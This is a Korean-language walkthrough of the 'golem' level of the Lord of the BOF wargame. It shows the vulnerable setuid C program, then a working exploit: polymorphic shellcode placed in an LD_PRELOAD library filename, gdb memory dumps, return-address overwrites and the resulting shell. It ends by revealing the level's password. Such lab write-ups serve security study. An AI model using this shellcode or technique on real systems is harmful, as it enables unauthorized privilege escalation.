[skeleton@localhost skeleton]$ cat golem.c
/*
The Lord of the BOF : The Fellowship of the BOF
- golem
- stack destroyer
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){ //2개 이상의 인자 사용
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf') //0xbf~~~로 시작하는 ret 사용
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]); //취약 부분
printf("%s\n", buffer);
// stack destroyer!
memset(buffer, 0, 44); //버퍼 초기화
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); //ret주소위 상위 메모리 초기화
}
[skeleton@localhost golemtmp]$ file gole1
gole1: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped
쉘코드를 올릴 공간이 어디있을까?
공유라이브러리 영역은 스택보다 낮은 주소에 있다.
프로세스 실행 과정 중 라이브러리를 로딩 할때, LD_PRELOAD 변수가 설정되어 있으면 해당 변수에 지정된
라이브러리를 먼저 로딩하고, 이중 libc 함수명과 동일한 함수가 있다면 해당 함수를 먼저 호출해 준다.
즉, 자동으로 후킹을 수행하도록 해준다는 말과 같다.
쉘코드를 이름이나 경로로 들어가기 때문에 여기서 \x2f를 "/"로 인식하기 때문에
경로나 이름이 들어가는 경우는 다형성 쉘코드를 사용한다.
[skeleton@localhost golemtmp]$ gcc a.c -fPIC -shared -o /tmp/golemtmp/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
touch a.c 명령어를 이용해 빈 파일을 만들어 준 뒤에
shared object를 컴파일 하기위한 gcc -fPIC -shared 옵션을 이용해서 컴파일 해준다. 이때 파일명은 nop+다형성 쉘코드로 한다.
[skeleton@localhost golemtmp]$ export LD_PRELOAD="/tmp/golemtmp/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`"
후에 환경변수 LD_PRELOAD에 올려주고 확인을 해보면
[skeleton@localhost golemtmp]$ env
PWD=/tmp/golemtmp
LD_PRELOAD=/tmp/golemtmp/▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒^1ɱ2▒l▒▒▒u▒▒▒▒▒▒▒2▒Qi00tii0cjo▒▒QT▒⚱
REMOTEHOST=192.168.59.1
HOSTNAME=localhost.localdomain
LESSOPEN=|/usr/bin/lesspipe.sh %s
USER=skeleton
올바르게 올라가 있는 것을 볼 수 있었다.
[skeleton@localhost golemtmp]$ gdb ./gole1
(gdb) disas main
Dump of assembler code for function main:
중 략
0x80484b7 <main+71>: add $0x4,%esp
0x80484ba <main+74>: lea 0x0(%esi),%esi
0x80484c0 <main+80>: mov 0xc(%ebp),%eax
0x80484c3 <main+83>: add $0x4,%eax
0x80484c6 <main+86>: mov (%eax),%edx
0x80484c8 <main+88>: push %edx
0x80484c9 <main+89>: lea 0xffffffd8(%ebp),%eax
0x80484cc <main+92>: push %eax
0x80484cd <main+93>: call 0x80483a8 <strcpy>
0x80484d2 <main+98>: add $0x8,%esp
0x80484d5 <main+101>: lea 0xffffffd8(%ebp),%eax
0x80484d8 <main+104>: push %eax
0x80484d9 <main+105>: push $0x8048599
0x80484de <main+110>: call 0x8048378 <printf>
0x80484e3 <main+115>: add $0x8,%esp
0x80484e6 <main+118>: push $0x2c
중 략
End of assembler dump.
strcpy이후에 bp를 걸고 추측한대로 버퍼(40)+sfp(4)+ret(4)를 argv[1]에 넣어보았다.
(gdb) b*main+98
Breakpoint 1 at 0x80484d2
(gdb) r `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
Starting program: /tmp/golemtmp/./gole1 `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"'`
공유라이브러리 메모리공간을 보고
Breakpoint 1, 0x80484d2 in main ()
0xbffffbcc: 0x5f444c00 0x4c455250 0x3d44414f 0x706d742f
0xbffffbdc: 0x6c6f672f 0x6d746d65 0x90902f70 0x90909090
0xbffffbec: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffbfc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc0c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc1c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc2c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc3c: 0x90909090 0x90909090 0x90909090 0x11eb9090
0xbffffc4c: 0xb1c9315e 0x0e6c8032 0xe98001ff 0xebf67501
0xbffffc5c: 0xffeae805 0xc132ffff 0x30306951 0x30696974
0xbffffc6c: 0x8a6f6a63 0x8a5451e4 0x0cb19ae2 0x520081ce
0xbffffc7c: 0x544f4d45 0x534f4845 0x39313d54 0x36312e32
0xbffffc8c: 0x39352e38 0x4800312e 0x4e54534f 0x3d454d41
0xbffffc9c: 0x61636f6c 0x736f686c 0x6f6c2e74 0x646c6163
0xbffffcac: 0x69616d6f 0x454c006e 0x504f5353 0x7c3d4e45
nop주소를 ret에 넣어줬는데 core파일이 생성되었다.
[skeleton@localhost golemtmp]$ ./gole1 `python -c 'print "\x90"*44+"\x0c\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒
Segmentation fault (core dumped)
코어파일을 분석한후 다시 한번 시도해보니 쉘이 열렸다.
[skeleton@localhost golemtmp]$ gdb ./gole1 ./core
0xbffff590: 0x4000380e 0x40014478 0x706d742f 0x6c6f672f
0xbffff5a0: 0x6d746d65 0x90902f70 0x90909090 0x90909090
0xbffff5b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff5f0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff600: 0x90909090 0x90909090 0x11eb9090 0xb1c9315e
0xbffff610: 0x0e6c8032 0xe98001ff 0xebf67501 0xffeae805
0xbffff620: 0xc132ffff 0x30306951 0x30696974 0x8a6f6a63
0xbffff630: 0x8a5451e4 0x0cb19ae2 0x400081ce 0x40013868
0xbffff640: 0x4000220c 0xbffffb7a 0x00000000 0x00000000
[skeleton@localhost golemtmp]$ ./gole1 `python -c 'print "\x90"*44+"\xe0\xf5\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
bash$ whoami
skeleton
[skeleton@localhost skeleton]$ export LD_PRELOAD="/tmp/golemtmp/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`"
[skeleton@localhost skeleton]$ ls
golem golem.c
[skeleton@localhost skeleton]$ ./golem `python -c 'print "\x90"*44+"\xe0\xf5\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
bash$ whoami
golem
bash$ my-apss
sh: my-apss: command not found
bash$ my-pass
euid = 511
cup of coffee